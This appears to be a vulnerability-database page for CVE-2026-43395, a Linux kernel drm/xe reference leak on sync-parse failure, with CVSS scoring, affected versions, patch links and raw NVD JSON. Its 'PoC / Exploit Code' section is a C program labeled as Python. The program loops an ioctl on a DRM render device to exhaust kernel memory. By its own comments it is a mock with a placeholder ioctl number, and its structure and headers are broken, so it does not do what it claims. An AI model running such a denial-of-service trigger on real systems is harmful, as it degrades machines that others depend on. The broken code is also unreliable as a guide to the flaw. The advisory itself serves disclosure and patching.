CVE-2026-43395

Description

In the Linux kernel, the following vulnerability has been resolved: drm/xe/sync: Cleanup partially initialized sync on parse failure xe_sync_entry_parse() can allocate references (syncobj, fence, chain fence, or user fence) before hitting a later failure path. Several of those paths returned directly, leaving partially initialized state and leaking refs. Route these error paths through a common free_sync label and call xe_sync_entry_cleanup(sync) before returning the error. (cherry picked from commit f939bdd9207a5d1fc55cced5459858480686ce22)

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

Linux Kernel (stable branches prior to fix commits)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

// Mock POC to demonstrate the trigger logic
// This requires a vulnerable kernel and proper headers

#define DRM_IOCTL_BASE 'd'
#define DRM_IOCTL_XE_EXEC 0x46 // Placeholder for actual IOCTL number

struct drm_xe_sync {
    __u64 handle;
    __u64 flags;
    __u64 timeline_value;
    // ... other fields ...
};

int main(int argc, char **argv) {
    int fd = -1;
    struct drm_xe_sync sync;
    int ret;

    // Open the DRM device
    fd = open("/dev/dri/renderD128", O_RDWR);
    if (fd < 0) {
        perror("Failed to open device");
        return 1;
    }

    printf("Starting PoC for CVE-2026-43395...\n");

    // Loop to trigger the resource leak
    for (int i = 0; i < 10000; i++) {
        // Initialize sync structure to trigger parse failure
        // after allocation in xe_sync_entry_parse
        memset(&sync, 0, sizeof(sync));
        sync.flags = 0xFFFFFFFF; // Invalid flags to force parsing error
        
        // Call the IOCTL
        ret = ioctl(fd, DRM_IOCTL_XE_EXEC, &sync);
        
        // We expect failure, but the bug is if resources aren't cleaned up
        if (ret < 0) {
            // Error occurred, resources leaked in vulnerable version
        }
    }

    close(fd);
    printf("PoC execution finished. Check kernel memory usage.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43395
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43395
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43395/
[4] VulDB https://vuldb.com/cve/CVE-2026-43395
[5] https://git.kernel.org/stable/c/1bfd7575092420ba5a0b944953c95b74a5646ff8
[6] https://git.kernel.org/stable/c/91c228f96fcfacc2341a58815b1da8c69da94ebb
[7] https://git.kernel.org/stable/c/af65cd1853599394b94201c08bed7a46717db478
[8] https://git.kernel.org/stable/c/f0af63ffa06306f12592cd3919fad6957b425e1b

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43395", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:50.907", "lastModified": "2026-05-21T19:34:15.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/xe/sync: Cleanup partially initialized sync on parse failure\n\nxe_sync_entry_parse() can allocate references (syncobj, fence, chain fence,\nor user fence) before hitting a later failure path. Several of those paths\nreturned directly, leaving partially initialized state and leaking refs.\n\nRoute these error paths through a common free_sync label and call\nxe_sync_entry_cleanup(sync) before returning the error.\n\n(cherry picked from commit f939bdd9207a5d1fc55cced5459858480686ce22)"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-459"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.8", "versionEndExcluding": "6.12.78", "matchCriteriaId": "70EDBB86-A33A-44D8-BF14-B806E56D3529"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.19", "matchCriteriaId": "D394AC60-6F28-435F-872A-CCDF384B8331"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1bfd7575092420ba5a0b944953c95b74a5646ff8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/91c228f96fcfacc2341a58815b1da8c69da94ebb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/af65cd1853599394b94201c08bed7a46717db478", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f0af63ffa06306f12592cd3919fad6957b425e1b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}